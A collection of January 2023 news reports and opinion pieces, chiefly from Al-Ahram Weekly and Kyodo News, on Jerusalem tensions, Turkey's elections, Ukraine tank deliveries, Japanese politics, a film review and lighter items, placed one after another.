The settlers toured the holy sites courtyards and performed Talmudic rituals, angering Muslim worshippers, a statement by the General Islamic Endowments Department in Jerusalem said.

Incursions into Muslim holy sites have triggered outrage among Palestinians in Jerusalem and elsewhere in the occupied territories and led to calls for mobilised action to stop the assaults. Israeli occupation forces have cordoned off areas around Al-Haram Al-Sharif and tightened security throughout the Old City.

Al-Aqsa Mosque has been subjected to near daily raids by Israeli fanatics bent on forcing a change on the holy sites status. Observers in Egypt, Jordan, and Palestine warn that the situation will spiral out of control if the Jewish extremists, emboldened by Prime Minister Benjamin Netanyahus bid to weaken the Israeli judiciary, continue their attempts.

All Palestinian political factions have condemned the repeated incursions, with Palestinian Islamic Jihad (PIJ) saying Israeli extremists have launched a war against Jerusalem and the Palestinian people and warning of an open confrontation with Israel.

In Cairo, Major General Mohamed Ibrahim, deputy director of the Egyptian Centre for Strategic Studies and a former senior security official concerned with Israeli and Palestinian affairs, warned that the situation is extremely volatile and could erupt into a number of unpredictable scenarios, including a new war launched by Hamas and the PIJ or a fully-fledged Intifada. The incitement is mounting: it is no longer coming from Israeli extremist forces but also from officials in the Netanyahu government.

On 17 January, Cairo hosted a trilateral summit between President Abdel-Fattah Al-Sisi, King Abdullah of Jordan, and Palestinian President Mahmoud Abbas to discuss developments in Jerusalem. The joint statement they released stresses in no uncertain terms the need to preserve the historical and legal status quo in Jerusalem and the importance of the Hashemite [Jordanian] crowns historically established guardianship of the Islamic and Christian holy places in the Holy City, said Ibrahim. He added that the Arab leaders had also called for an end to Palestinian factional rifts and for action to address deteriorating living standards in Gaza.

The three leaders committed to intensifying consultations and coordination to formulate a plan to stimulate efforts to resume negotiations. Egypt, for its part, said that it would pursue all possible channels to contain the crisis, restore calm and compel the Israeli government to halt the provocations.

Although tensions in Jerusalem have subsided since the extremists raid on Monday morning, the situation remains volatile given the nature of the new Netanyahu government, says Jack Khoury, a Haaretz journalist of Palestinian origin. Speaking to Al-Ahram Weekly by phone, he said that the status of Jerusalem is increasingly being prioritised by the new Israeli government, and Ben-Gvirs provocative visits to Al-Aqsa Mosque and Israels offensive treatment of the Jordanian and EU ambassadors signal where the situation is headed. Khoury also pointed out that work is currently in progress to demolish the Palestinian town Al-Khan Al-Ahmar and displace its inhabitants as part of a project to incorporate more Palestinian territory into Israeli settlements in the occupied territories. This, too, will trigger clashes and sharpen tensions, he said.

Observers are already worried about what will happen in Ramadan, which coincides with Passover when Jewish extremists habitually increase their assaults on the Al-Aqsa compound, warning that it is necessary to prepare for the worst.

Things cannot go on this way, a Jordanian source familiar with developments in Jerusalem told the Weekly.

It is important not to reduce the crisis to containing the fallout from the Israeli polices assault against the Jordanian ambassador, or to the role of the Jordanian Ministry of Endowments, Islamic Affairs and Holy Places in administering the area. Attention must be given to what Israel is doing in the occupied territories and the West Bank.

Khoury agrees, adding that it is essential Netanyahu and extremist ministers such as Ben-Gvir and Bezalel Smotrich are reined in.

Egypt, Jordan, and other Arab states such as the UAE have already started to intervene in order to reduce tensions as a crucial first step. Some European powers have also stepped forward. And Washington, too, appears alarmed. Biden administration officials have urged Netanyahu to restrain Israels extremist trend.

The subject was discussed during US National Security Adviser Jack Sullivans visit to Cairo in December, and in US Central Intelligence Agency Director William Burns discussions with President Abdel-Fattah Al-Sisi this week. US concern over the escalating situation prompted the forthcoming visit to the region by US Secretary of State Antony Blinken, with Blinkens itinerary likely to include Cairo. Netanyahu is also due to fly to Washington to meet with Biden.

Though US diplomatic activity is aimed in the same direction as Arab efforts, success is contingent on the behaviour of the current Israeli government and the ability of its prime minister to restrain the impetuousness of his far-right ministers, if that is his intent.

*A version of this article appears in print in the 26 January, 2023 edition of Al-Ahram Weekly

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Last week, Turkish President Recep Tayyip Erdogan signalled that national parliamentary and presidential elections would be brought forward to 14 May, instead of mid-June, as had been planned.

The ostensible reason for this is to ensure the broadest possible voter turnout. Officials from the ruling Justice and Development Party (AKP) explained that June was the beginning of the summer season, when school terms end and many people set off for their home towns in the countryside or for holiday resorts.

While the explanation seems reasonable, few take it at face value. Opposition quarters have little doubt that, by calling for early elections, Erdogan and the AKP intend to throw the opposition off balance. He hinted as much in his remarks to parliament. Referring to the coalition of six opposition parties, he said, On the same day [14 May] 73 years later, our nation will once again say Enough to those incompetent and ardent coup applauders who appear to us beneath the banner of the Table of Six.

On 14 May 1950, Turkey held its first multiparty elections resulting in the victory of the right-wing Adnan Menderes over the ruling secularist Republican Peoples Party (CHP). Menderes was subsequently overthrown in the 1960 military coup. The Table of Six parties, the largest of which is the CHP, have yet to agree on a presidential candidate and how to coordinate over the candidates they will field for the parliamentary elections.

By bringing the election forward, the ruling party also hopes to capitalise on some of the governments foreign policy successes, especially the inroads Ankara has made towards ending tensions with the Arab region and a rapprochement with the regime in Damascus, which would generate an environment conducive to the repatriation of Syrian refugees. The contentious refugee question had become one of the hot-button issues working in favour of the opposition.

After a long and steady slide in the polls, Erdogan has made a comeback, and the likely decision to hold early elections is undoubtedly linked with that. According to a survey conducted at the end of October 2022, Erdogans popularity had risen to 47.6 per cent. The government had just increased the minimum wage by 55 per cent, raised the salaries and pensions of civil servants and public sector employees, and introduced other urgently needed economic relief measures.

On the other hand, the idea of early elections has once again sparked the controversy over whether Erdogan is legally eligible to run for office once again. Under the constitution as amended in April 2017, a president cannot serve more than two terms. However, in the event of early elections, an incumbent in his second term is still entitled to run for a third term.

Erdogan is also intent on exploiting nationalist sentiments that have been stoked by tensions with Greece over maritime boundaries and drilling rights in the Eastern Mediterranean, and by military operations against what Ankara describes as Kurdistan Workers Party (PKK) lairs in Iraqi Kurdistan and northern Syria.

Erdogan, who has been pushing Islamic values and a neo-Ottoman revivalist agenda throughout his more than 20 years as head of government, has recently called for a constitutional amendment explicitly stipulating womens right to wear a veil. This has helped fire the ardour of Islamist hawks in the AKP and solidify support within the ruling party rank and file. It may also help explain the choice of the historically charged date for the early election, with its references to the Islamist oriented Manderes and the defeat of the party founded by Ataturk, the founder of the modern Turkish Republic.

Although the headscarf had long been banned in Turkish public institutions on the grounds that it undermined the constitutionally stipulated secularist nature of state, there is nothing explicit in the constitution that prohibits the headscarf, and the restrictions against wearing it were lifted a decade ago. Nevertheless, the headscarf remains an Erdogan cause celebre that he uses to energise his base election seasons.

Kemal Kilicdaroglu, the leader of the CHP, the largest opposition party, has stated that the CHP and the other parties in the opposition coalition, have no problem with 14 May. What matters is that the people have the say. But bringing the election forward could still throw the opposition into disarray.

The opposition parties have little in common apart from their belief in the need to reinstate the parliamentary system. The pro-Kurdish Peoples Democratic Party (HDP) Co-Chairperson Pervin Buldan has announced that her party would not take part in either the AKPs Peoples Alliance or the oppositions Nation Alliance and that it would field its own candidate for president. Meral Aksener, head of the IYI (Good) Party, said that, in the 2023 elections, her party would come out first and on its own, not in an alliance. Such statements show the extent of the confusion in the ranks of the opposition.

Erdogan clearly believes that he and his party are recovering their edge and wants to seize the initiative. Developments related to the Ukrainian crisis have contributed to the impetus. Above all, the demand on Turkey to act as a mediator and its success in brokering the grain deals have worked to alleviate Western pressures on Turkey over contentious issues while Russian President Vladimir Putin has facilitated Ankaras ability to obtain Russian gas by allowing it to pay for a portion of its imports in rubles.

If, indeed, the elections are held a month earlier than planned, it remains to be seen whether the opposition will rally its forces effectively and, perhaps more importantly, what Erdogan and his party are prepared to do stay in power. What is certain is that political temperatures will climb in Turkeys already sharply polarised climate.

*A version of this article appears in print in the 26 January, 2023 edition of Al-Ahram Weekly.

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The end of 2022 brought some sad news: an important centre for the dissemination of Arab culture abroad had to close down. The Saqi bookshop was one of the best known bookshops in Europe specialising in Middle Eastern political affairs, literature, history and culture.

Founded in 1978 by Andre and Salwa Gaspard and the late Mai Ghassoub, three friends who had moved to London from war-torn Lebanon, it was located in the vibrant cosmopolitan Bayswater quarter of west London.

As a result of their efforts and dedication, Saqi became the first and foremost repository in Europe of Arabic and foreign language works related to the Arab world. On its brimming shelves one could often find Arabic books that could not be found even in Arab countries because of the censors.

It was at Saqi where I obtained my first copy of Naguib Mahfouzs Children of Gebelawi which was banned in Egypt at the time. During one of my visits to London, I heard that the famous Syrian poet Adonis was in town. It was at Saqi that I learned which hotel he was at.

A large part of the bookshops work depended on orders for books on the Arab world from other European countries. But Saqi is also a publisher, and Salwa Gaspard has said that it will continue that side of its work. She explained that the bookstore had been forced to close due the detrimental impact of Brexit on its business, the rising prices of Arabic language books, the hikes in shipping costs, and additional customs fees. The new generation doesnt have as many avid readers as there were when she and her partners opened the bookshop over four decades ago.

Therefore, along with the foregoing year, we have to bid a sad farewell to the Saqi bookstore, that outstanding centre of Arab cultural dissemination abroad, and a favourite gathering place for Arab intellectuals in the British capital.

*A version of this article appears in print in the 19 January, 2023 edition of Al-Ahram Weekly.

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Since the beginning of 2023, political analysts everywhere have been trying to answer the question of whether or not the Russian-Ukrainian war will end this year. To me the answer is obvious. A range of political and economic factors will prolong the war through the end of this year and probably the end of the next. The scope of the conflict is far wider than Russia and Ukraine. This is not only because it is a proxy war between two superpowers. It is not even just a conflict over Ukraine. The territorial scope of the war extends far beyond Ukraines borders and even beyond Europe to other regions. One major front is the North Pole.

The North Pole is more than a vast barren expanse of snow and ice. It is an enormous repository of natural resources, many yet to be discovered. Its reserves of oil and natural gas are estimated at no less than a fourth of the known energy reserves on the planet. So far, 62 trillion cubic metres of natural gas and nine billion tons of oil have been discovered there. And that is, as it were, the tip of the iceberg. The North Pole is a treasure trove many times more valuable than Ukraine is to either the US or Russia. It would be no exaggeration to say that whoever controls the North Pole could control the world.

If the US had deliberately provoked Russia with its measures to annex Ukraine to NATO and to bring that alliances missiles systems to Russias borders, its purpose was to lure Russia into a protracted war on Ukrainian territory in order to wreak military and economic attrition on Russia. The US would thus ensure it remained uncontested in its bid to control the North Pole. True, other countries apart from Russia and the US extend into the polar region. Canada, Norway and Greenland do. However, it is the two superpowers that are locked in battle. And Washington plans on making it a long one in order to keep Russia bogged down. That is why the US is so determined to pour more and more weapons into Ukraine and go on stoking the conflict.

*A version of this article appears in print in the 26 January, 2023 edition of Al-Ahram Weekly.

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The talks were intended to reduce the chances of further deterioration in the situation in occupied Palestine, especially since the rise to power of a new right-wing Israeli government which includes several key ministers known for their extremist views and rejection of any peaceful reconciliation with Palestinians.

On Tuesday, 17 January in Cairo, Al-Sisi hosted the leaders of Jordan and Palestine, King Abdullah and Mahmoud Abbas, for discussions of the imminent threats facing Palestinians in the occupied territories in East Jerusalem, the West Bank and Gaza.

During the summit, the leaders stressed the necessity of safeguarding legitimate Palestinian rights and the continuation of their joint efforts to achieve a comprehensive, just and lasting peace based on the two-state solution, which provides for an independent and sovereign Palestinian state with the 4 June 1967 borders, with East Jerusalem as its capital, in accordance with international law, the relevant international legitimacy resolutions and the 2002 Arab Peace Initiative.

Al-Sisi, Abbas and Abdullah stressed the need for the international community to provide protection for the Palestinian people and their legitimate rights and pool efforts to find a real political horizon that would re-launch serious and effective negotiations to resolve the Palestinian issue on the basis of the two-state solution, warning of the danger of the continued absence of a political horizon and its repercussions on regional security and stability.

They also stressed the need to stop all illegal, unilateral Israeli measures that undermine the two-state solution and the chances of achieving a just and comprehensive peace, which include settlements, confiscation of Palestinian lands, home demolitions, the displacement of Palestinians from their homes, continual Israeli incursions into Palestinian cities, and the violation of the historical and legal status quo in occupied East Jerusalem and its holy sites.

In their joint statement, the three heads of state stressed the necessity of preserving the existing historical and legal situation in Jerusalem and its Islamic and Christian sanctities, in a manner that guarantees respect for the fact that the blessed Al-Aqsa Mosque, with its entire area, is a place of worship for Muslims, and that the Department of Endowments for Jerusalem and the Affairs of the blessed Al-Aqsa Mosque of the Jordanian Ministry of Endowments, Islamic Affairs and Holy Sites is the only body authorised to manage the affairs of the Al-Aqsa and regulate entry to it.

Al-Sisi and Abbas also affirmed the importance of the historical Hashemite Custodianship over Islamic and Christian holy places in Jerusalem and its role in protecting these sanctities and their Arab, Islamic and Christian identity.

Moreover, all three leaders stressed the need to unify Palestinian movements and end the division, which is a necessity for the Palestinian people, and the need to take serious and effective measures to alleviate the deteriorating living conditions of Palestinians in the Gaza Strip.

Both the king of Jordan and the Palestinian president praised Egyptian efforts to maintain calm in Gaza and to rebuild the besieged, heavily populated strip, while reaffirming the responsibility of international donors in the efforts to rebuild Gaza.

The following day, Al-Sisi headed to Abu Dhabi for a consultation meeting with four Gulf Arab allies: the United Arab Emirates, Bahrain, Qatar and Oman, together with King Abdullah once again. The meeting, hosted by UAE President Sheikh Mohamed bin Zayed, was held under the banner of Prosperity and Stability in the Region, and highlighted the importance of enhancing joint Arab efforts to tackle the regions political, security, and economic challenges.

Considering that four out of the six Arab leaders who met in Abu Dhabi maintain diplomatic relations with Israel, it was important to send a clear message to Netanyahus new extremist government that any further normalisation with Arab countries was conditional on refraining from acts that would undermine the status of the holy Aqsa Mosque, and from annexing more Palestinian territories.

Such inter-Arab contacts coincided with a visit by US National Security Adviser Jack Sullivan to Israel and Palestine, holding the first direct meeting with Netanyahu and several senior Israeli officials on Thursday. While it was important to make clear to the Israeli government that its closest ally in the world did not want to see acts that would generate a new round of tensions, and possible military escalation, Washington can certainly take immediate steps to protect what remains of the peace process.

Indeed it was a positive development that the Biden administration had resumed contacts with the Palestinian Authority, severed by his predecessor Donald Trump. Yet many US promises remained unmet, including the reopening of the US Consulate in East Jerusalem, as well as the PLO mission in Washington.

In his meeting with Sullivan, President Abbas appealed to the Biden administration to stop the Israeli government from pushing ahead with escalatory measures against Palestinians. He warned that the new Israeli coalitions policies are destroying all remaining chances of achieving peace and stability in the region.

Abbas urged the United States to intervene before it is too late to stop these unilateral measures. He stressed that Palestinians will not accept the continuation of Israeli crimes. We will oppose them and defend our rights, our land and our holy sites.

*A version of this article appears in print in the 26 January, 2023 edition of Al-Ahram Weekly.

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The Israeli backlash against Farha, the Palestinian film currently streaming on Netflix, suggests the movie illustrates the full scale and horror of Al-Nakba, the Palestinian catastrophe of 1948.

There is no English word that fully captures the concept  catastrophe does not convey the reality of the massacres, ethnic cleansing and genocide to which Palestinians were subject  or, more tragically, its continuity 75 year later still, with ongoing displacement and expulsion. But where do you even begin when your movie is about the loss of the homeland?

The Jordanian-Swedish production Farha is no epic undertaking of the mass uprooting and displacement of Palestinians by the Zionist colonial project. Instead, it is a minimalist endeavour with haunting impact.

Director Darin Sallam utilises imagery that is heavy with symbolism to tell the real story of a 14-year-old Palestinian girl whose entire life was upended the day Zionist gangs attacked and ethnically cleansed her village as part of their successful scheme to grab Palestinian territory and create Israel in 1948.

Farha, as Sallam explained in interviews, is inspired by the true story of her mothers friend who fled to Syria having survived the massacre during her childhood.

The film opens to the sound of Palestinian folklore with a song about figs that delivers a powerful statement not just on Palestinian history but also identity. Figs are one of the major types of fruit tree planted in Palestine since antiquity; evidence of the roots that connect modern indigenous Palestinians to their ancestors.

With its vibrant colours  the months leading to the Nakba happened to be during spring  the opening scene creates an idyllic setting with giggling teenage girls in traditional dress, playfully splashing each other with water from a natural fountain while picking fruit in a fig orchard. The titular Farha sits alone under a tree, absorbed in a novel which she reluctantly pulls herself away from as the time for kuttab, the childrens school for basic education, approaches. She gets up to pick a few figs herself, in a close-up scene exhibiting the attire she will not take off for the duration of the film.

In this postcard from historic Palestine, attention to detail recreates powerful visual, waxing nostalgic in a deeply moving way. Farhas headpiece  a colourfully embroidered kerchief lined with gold coins known as shatwa, which is displayed in detail, is an assertive nod to Palestinian heritage. The energy and innocence attached to the films first minutes are also an introduction to Palestine before the Nakba, as romanticized by the collective imagination of both descendants of the 1948 generation and broader Arab memory.

Farha, Arabic for happiness, a philomath in the making who persuades her conservative father to enroll her in a proper school in the city, aptly symbolizes Palestine.

While sharing her big dreams with her visiting friend from the city, Farha is interrupted by the rattles of clunky British military trucks departing Palestine following the termination of their 18-year mandate, paving the way for the creation of Israel, on 15 May 1948.

Oblivious to the British governments motives, Farha runs in the trail of departing trucks shouting Goodbye! in English while other kids join in yelling, Get out of here and dont come back! in Arabic.

When she returns home, her father who is also the village Mukhtar is deep in conversation with his brother-in-law about the sorry state of Palestinians who lack arms or training or the means to protect their village from terrorist Zionist gangs. Despite the anxiety, there is little evidence for anticipating the scale of whats to come. While the father wants his daughter to be married like the other village girls, he soon chooses modernity over tradition and registers Farha at school, which means she will live away from him in the city.

As the scene that follows pays tribute to traditional wedding festivities while Farhas friend is getting married, Sallam presents viewers with moments of oral history: traditional Palestinian wedding songs in a henna ceremony of embroidered costumes and customs.

The climactic buildup begins as Farha savours the good news of her school registration while armed visitors from neighbouring villages show up at their doorstep to ask her father for help with the growing Zionist threat. She hears her father telling his guests that all Palestinian villages in the south and centre have been depopulated, their inhabitants turned to refugees. But as he turns down his disappointed visitors, he assures them that the Arab forces will come to the rescue.

Before she wakes up the following morning, a closeup of the school registration document for the academic year 1948-1949 on her bedside is an ominous signal to her soon-to-be-shattered dreams as she watches her father fortify their stone walls for protection. Farhas last encounter with life in her sleepy idyllic village is on the tree swing with her city friend discussing their hopes for the future. The sound of nearby explosions end their conversation, as they run back home leaving behind their empty swings and the Palestine they knew.

It is here that the historic dramas skillful cinematography replaces its beautifully crafted scenes of the before showing a romanticized picturesque Palestine to the after. But it does so without recreating the full scale of the horrors committed against the Palestinian people. For this it received some harsh critique from left-wing Lebanese columnists who accused the producers of accommodating Netflixs politics by taming the ethnic cleansing and genocide of the Palestinian dispossession.

But even if Farha is Nakba lite, who says that a searing take of the Palestinian catastrophe is best conveyed through blood splattered across the screen and inside the dark hollows of mass graves? The film artfully debunks long held Zionist myths that Palestine was a land without a people for a people without a land, suggesting that Palestinians never existed. For that alone it is a heroic undertaking.

In the chaos of terrorized, fleeing families, the sound of explosions, shelling, gunfire and warnings of Zionist gangs through loudspeakers, Farhas father announces the fall of their village. Before leaving to join the fighters, he hides her in the storage room which he seals off from outside and promises to return.

Farha witnesses and experiences the Nakba over the following days trapped in the dark room, listening to and trying to make sense of the sounds of the ruthless bombardment of her village and its depopulation. She hears the voices of men, the sound of heavy boots from above, gunfire, footsteps, as she wavers between despair and crying spells to survival mode where she feeds on preserved white cheese and olives and manages to scoop up some rain water through a small ventilation hole. Farha also experiences the Nakba inside the storage room as a dehydrated prisoner languishing alone for days in a virtually empty village, until she witnesses, through the narrow gap under her door, the arrival of a refugee family with a woman in labour who gives birth in the courtyard.

The family of four including two girls is soon captured by Zionist soldiers whose commander orders their execution by gunfire after lining them up in the courtyard, while Farha watches through the cracks of her door. Before the squad leaves, their commander asks one of the soldiers to kill the baby without wasting a bullet, which the latter tries to do but struggles, despite the massacre he just took part in, to muster the brutality to crack the infants head with his shoes. So he leaves the baby, whose wails trigger Farhas tears and vomiting.

Still trapped in her room, a traumatized and helpless Farha witnesses the infants slow death. It is only after she accidentally discovers guns hidden in sacks of stored lentils that she finally breaks open the door. When she walks out of the room, she sees the babys disfigured body covered with flies. Her once picturesque village is an apocalyptic ghost town and Farha is its only survivor. She returns to her tree swing and it is no longer spring.

The film ends as Farha drags her feet, with the heaviness of the years shes aged during the days of her imprisonment, walking along the empty road resembling a wasteland into the chilling sunset.

*A version of this article appears in print in the 19 January, 2023 edition of Al-Ahram Weekly.

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Ukraine has long sought heavy tanks to combat Russian forces using more modern tanks than those in Ukraine's arsenal.

Until Baerbock's comments, Germany had been reticent to send its own Leopard 2s to Ukraine or approve their transfer by countries that purchased the tanks from Germany.

German Foreign Minister Annalena Baerbock told French TV channel LCI Sunday that if Poland were to request permission to send its Leopard 2 tanks to Ukraine, "We would not stand in the way."

"We are constantly exerting pressure on the government in Berlin to make its Leopards available," Morawiecki said.

Mateusz Morawiecki told reporters that Poland will seek Germany's permission, but that asking for Berlin's approval is of secondary importance.

Poland's prime minister said Monday that his country is building a coalition of nations ready to send German-made Leopard 2 tanks to Ukraine even if Germany does not give formal permission for such transfers.

Ukrainian President Volodymyr Zelenskyy's chief of staff, Andriy Yermak, wrote Monday on Telegram that what Ukraine needs is not 10-20 tanks, "but several hundred" in order to achieve its goal.

Kremlin spokesman Dmitry Peskov said Monday that the debate among European countries about whether to send Ukraine tanks showed "increasing nervousness" within NATO. He also warned that countries supplying weapons to Ukraine "will carry responsibility for that."

German Chancellor Olaf Scholz on Sunday did not say whether Germany would agree to provide Ukraine with battle tanks, but the Reuters news agency reported that he said such decisions would be made in coordination with allies including the United States.

French President Emmanuel Macron said he does not rule out the possibility of sending Leclerc tanks to Ukraine. He cautioned, however, that sending tanks must not endanger France's security or escalate the war between Ukraine and Russia.

British Foreign Minister James Cleverly said Sunday in an interview with Sky News he would like to see the Ukrainians "equipped with things like the Leopard 2."

U.S. Rep. Michael McCaul, the newly installed Republican chairman of the House Foreign Affairs Committee, told ABC's "This Week" that the United States should offer its heavy Abrams battle tanks to Ukraine to encourage Germany to send its Leopard 2s as well.

"Just one Abrams tank would be enough to prompt allies, notably Germany, to unlock their own tank inventories for the fight against Russia," he said.

Democratic Senator Chris Coons also told ABC that it was time to set aside U.S. concerns about delivering the Abrams.

"I respect that our military leaders think the Abrams is too sophisticated, too expensive a platform to be as useful as the Leopards, but we need to continue to work with our close allies and move forward in lock step."
Prime Minister Fumio Kishida said Monday that Japan faces the severest security environment in the region since the end of World War II and pledged to push a military buildup under a newly adopted security strategy over the next five years and beyond as well as tackle rapidly declining births so the country can sustain national strength.

Kishida's government in December adopted key security and defense reforms, including a counterstrike capability that makes a break from the country's exclusively self-defense-only postwar principle. Japan says the current deployment of missile interceptors is insufficient to defend it from rapid weapons advancement in China and North Korea.

In his policy speech opening this year's parliamentary session, Kishida said active diplomacy should be prioritized, but it requires "defense power to back it up." He said Japan's new security strategy is based on a realistic simulation "as we face the most severe and complex security environment since the end of World War II and a question if we can protect the people's lives in an emergency."

The strategy seeks to keep in check China's increasingly assertive territorial ambitions, but it's also a sensitive issue for many countries in Asia that were victims of Japanese wartime aggression. Kishida said it's a "drastic turnaround" of Japan's security policy, but still remains within the limitations of its pacifist constitution and international law.

"I make it clear that there will not be even a slightest change from Japan's non-nuclear and self-defense-only principles and our footsteps as a peace-loving country," Kishida said.

This month, Kishida took a five-nation tour, including Washington, to explain Japan's new defense plan and further develop defense ties with its ally the United States.
European Union foreign ministers slapped a fourth round of sanctions against Iran, discussed a possible 10th sanctions package against Russia, and agreed to more than $540 million in new military spending for Ukraine.

The new military funding for Ukraine brings to nearly $12 billion the total European Union and member state military spending for Kyiv since the country's war began nearly a year ago.

EU foreign policy chief Josep Borrell also said EU oil sanctions against Moscow are working. "Russia needs 70 percent in order to balance its budget -- so it's losing $40 per barrel," Borrell said. "It is a big hit on Russian financial stability."

But European foreign ministers meeting in Brussels failed to make progress on one key sticking point: getting Germany to formally greenlight EU member states' sending its Leopard tanks to Ukraine, which Kyiv says are vital to its war effort.
KYODO NEWS - Jan 24, 2023 - 18:37 | All, Japan

A Japanese court on Tuesday ordered the Nagasaki prefectural government to pay damages to an American woman who claimed she was sexually harassed while working as an assistant language teacher at a prefectural high school.

The Nagasaki District Court ordered the local government to pay 500,000 yen ($3,800) in damages to Hannah Martin, who had sought 2 million yen, saying she had suffered mental anguish due to sexual harassment by a vice principal and a male assistant language teacher.

Presiding Judge Daigo Furukawa said the male assistant language teacher made "a sexual move against the plaintiff's will" and recognized the prefectural government's liability over the case.

According to the ruling, he held Martin by her shoulders and kissed her on the neck at his residence while preparing for a school event in 2018. The man, who was working at another prefectural high school, was subsequently admonished by its principal.

The court also recognized that the then vice principal of a prefectural high school where she worked once a week made sexual remarks to her at a party held after a school festival in 2016.

But it did not hold the local government liable, deeming it fulfilled its obligation to take steps over the incident after the vice principal offered an apology and his and her seating arrangements at the school were changed.

Following the ruling, the prefectural government said it will review the ruling and consider its response.

In October, Martin told a press conference that the prefectural board of education had asked her to refrain from going to the police when she lodged her complaint.

Having told the court she was diagnosed with post-traumatic stress disorder and even thought of committing suicide, Martin said she hopes that her case can serve as an opportunity for Japan to create a safe workspace for foreign women who come to work in the country.

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KYODO NEWS - Jan 24, 2023 - 21:53 | All, Japan, World

Japanese and Cambodian foreign ministers agreed Tuesday that their countries will continue to cooperate in supporting the elimination of Russian landmines and unexploded bombs in Ukraine amid Moscow's prolonged war in the Eastern European state.

Foreign Minister Yoshimasa Hayashi said after a meeting with his Cambodian counterpart, Prak Sokhonn, in Tokyo that they also pledged to further promote ties between Japan and Cambodia as this year marks the 70th anniversary of the establishment of their diplomatic ties.

The two governments announced last week that they have begun providing training to Ukrainian officials for clearing landmines laid by Russia, which launched its attack on Ukraine in February.

Japan has contributed to demining efforts in Cambodia, where millions of landmines are believed to have been laid during the 1970-1991 civil war in the Southeast Asian country.

"The two nations have fostered a strong relationship of trust through peacebuilding, reconstruction and development work in Cambodia," Hayashi said, welcoming a "further expansion" of collaboration fields.

Sokhonn, who doubles as deputy prime minister, said Cambodia supports the Japanese government's National Security Strategy, which was updated last month.

The new long-term policy guidelines stipulate Japan's acquisition of enemy base strike capabilities, in a major shift in its exclusively defense-oriented policy under the pacifist Constitution.

The two ministers also exchanged views on North Korea's nuclear and missile threats and the security situation in the East and South China seas, where China has been increasing military activities, according to Hayashi.

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KYODO NEWS - Jan 24, 2023 - 17:14 | All, Japan

Japanese TV personality Dewi Sukarno, widow of former Indonesian President Sukarno, has traveled to Ukraine, with Japan's government on Tuesday saying she should not have made the journey to the Eastern European state invaded by Russia.

On Monday, Dewi visited the Ukrainian capital of Kyiv and its suburb of Bucha, where hundreds of civilian bodies were unearthed last year, to deliver relief supplies such as warm clothes and diapers to internally displaced people.

The personality, known as Madame Dewi in Japan, arrived in Ukraine on Sunday, two days ahead of the 11-month anniversary of Russia's invasion on Feb. 24, 2022. She was one of several women to marry Sukarno, the first president of Indonesia.

Citizens in Ukraine "have been in a difficult situation, with no heating and no stable telephone connection," Dewi told Kyodo News, asking the Japanese government to become "more proactive in providing support" to the country.

Chief Cabinet Secretary Hirokazu Matsuno said at a regular press conference in Tokyo on Tuesday that the government has "recommended Japanese nationals do not travel" to Ukraine "for any purpose" since Russia invaded its neighbor in early 2022.

Japan will "continue to offer assistance" to people in Ukraine, who have been facing a "national crisis," said Matsuno, the top spokesman of the government under Prime Minister Fumio Kishida.

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KYODO NEWS - Jan 24, 2023 - 13:07 | All, World, Japan

U.S. Secretary of State Antony Blinken and Japanese Foreign Minister Yoshimasa Hayashi will co-host an online meeting Tuesday to support Ukraine's energy sector.

The meeting, closed to the press, will also be attended by the other foreign affairs chiefs of the Group of Seven major democratic economies and key partners, the State Department said Monday.

Hayashi visited Washington in mid-January and confirmed with Blinken that their countries will give unwavering support to Ukraine.

During their meeting, they discussed the next steps for extending assistance to Ukraine's energy sector.

Japan, which now holds the rotating chair of the G-7, plans to make support for Ukraine against Russia's aggression a major agenda item when it hosts the group's summit in May in Hiroshima.

When the G-7 foreign ministers held a virtual meeting in late December, they denounced Russia for attacking Ukraine's energy and infrastructure facilities, and agreed to step up help for its people struggling to endure the harsh winter.

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The Shikoku Shimbun - Jan 24, 2023 - 10:30 | All, Japan

Wild monkeys are delighting visitors to a zoo in western Japan by huddling together in the shape of a dumpling to beat the severe winter cold.

The simians nestling together to share body heat has become a common winter sight at the "Monkey Kingdom" in the Choshi Valley Nature Zoo on Shodo Island in Kagawa Prefecture, which feeds around 500 wild Japanese macaques.



The monkeys often gather to form the "saru dango" after 3 p.m. when the sun begins to set. The number increases, sometimes to over 100, on windy or cloudy days. The dumpling can usually be seen until the end of February.



The monkeys in the park are divided into two troops. On Jan. 16, 100 members of one group formed a dumpling in the center of the park when the wind picked up.



The mother monkeys and their infants gathered together first and after the group leader took his place in the center, other monkeys joined to form the dumpling.



After a while, the young monkeys settle into sleep in the embrace of their family. "Their fur looks fluffy and warm. I guess it (the dumpling) is the monkeys' logical way of protecting themselves from the cold," said a man who was visiting the zoo with his family from Hyogo Prefecture.

The Shikoku Shimbun



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People watch a lion dance performance celebrating the Chinese Lunar New Year in Belgrade, Serbia, Jan. 21, 2023. (Photo by Wang Wei/Xinhua)

BELGRADE, Jan. 21 (Xinhua) -- With fireworks, lion dance, and a festival of tastes, Serbians and overseas Chinese welcomed the Chinese Lunar New Year in Belgrade on Saturday.

The central celebration welcoming the Year of the Rabbit held at the Kalemegdan Fortress in Belgrade gathered several hundreds of people, including Serbian Prime Minister Ana Brnabic and the Chinese Ambassador to Serbia Chen Bo, who were all entertained by lion dancers who just flew here from China.

"We are (the Lion Dance team) from the Dong Fang Wu Shu School in Dongming County, Shandong Province, and we came to Serbia to show our traditional Chinese culture and bring a lot of flavors of the Chinese New Year to Serbia," Yang Zhengqiang, one of the lion dancers told Xinhua.

At the beginning of the celebration, Brnabic said that the New Year celebrations across the country display the love of the Serbian people towards the Chinese.

"On behalf of our people I wish you (China and Chinese people) good health, luck, and many new economic achievements," she said, pledging to further strengthen the "iron-clad friendship" between China and Serbia.

She thanked China's support to Serbia's sovereignty and territorial integrity, as well as the selfless support and assistance amid the COVID-19 pandemic.

Chen said that this traditional cultural manifestation is the embodiment of the "iron-clad friendship" between the two peoples, who, although geographically far away, are getting closer.

"In the past year, we jointly built a fast railway, highways, opened new factories and started direct flights, and increased bilateral trade. We strive towards economic development and a better life, while the friendship between people represents a foundation for our cooperation in all areas," Chen said.

After the speeches, the gathered people counted the seconds until the grandiose fireworks announced midnight in Beijing, China, and later marched to the Republic Square, where the Festival of Tastes of the Belt and Road is being held, with traditional food from the countries that participated in the Belt and Road Initiative.

"This is not my first time trying Chinese food -- I love it very much. We were late for the fireworks, but the children loved the lion dance," said one young mother who brought her two children to the festival.

Manuela, a tourist from Germany said that she liked the festival and was "super happy" to celebrate with Chinese and Serbian people.

"I was super excited because this is my first time seeing the Chinese New Year celebration and the lion dance, as well as a little Kong Fu show," said the German girl, who is also practicing Kung Fu (martial arts).

Ana Leginj who came from the vicinity of Novi Sad, Serbia's second-largest city, just to attend the celebration for the first time.

